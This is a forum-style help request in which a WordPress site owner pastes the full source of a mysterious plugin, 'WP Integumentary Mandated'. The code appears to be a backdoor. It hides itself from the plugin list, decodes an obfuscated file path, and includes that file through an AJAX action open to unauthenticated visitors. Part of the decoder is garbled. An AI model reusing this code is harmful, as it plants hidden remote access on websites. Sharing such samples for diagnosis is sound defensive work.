WordPress plugin appeared on its own: WP Integumentary Mandated

A plugin called WP Integumentary Mandated randomly appeared in my list of plugins, not sure how long ago. It wasn't (and still isn't) activated. Both the 'author' and 'plugin site' links point to wordpress.org/#. Below I'm pasting all that it is. Wtf?

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function zsg_ucc() { global $wp_list_table;

    if (!isset($wp_list_table)) {
        return;
    }

    $h = array('wp-integumentary-mandated/wp-integumentary-mandated.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $h)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }

}

add_action('pre_current_active_plugins', 'zsg_ucc');

function kuy_qow($plugins) { $p = 'wp-integumentary-mandated/wp-integumentary-mandated.php'; if (array_key_exists($p, $plugins)) { unset($plugins[$p]); } return $plugins; }

add_filter('all_plugins', 'kuy_qow');

function gmv($f, $d) { $r = ''; for ($i = 0; $i 90) $b -= 6; $s = $v 52 + ($b - 65); $r .= chr($s - $d); } return $r; }

function pun_ajax_handler() { include plugin_dir_path(__FILE__) . gmv('IHJNJZJGJIJIJKJY', 377); wp_die(); }

add_action('wp_ajax_wp-rhs', 'pun_ajax_handler'); add_action('wp_ajax_nopriv_wp-rhs', 'pun_ajax_handler');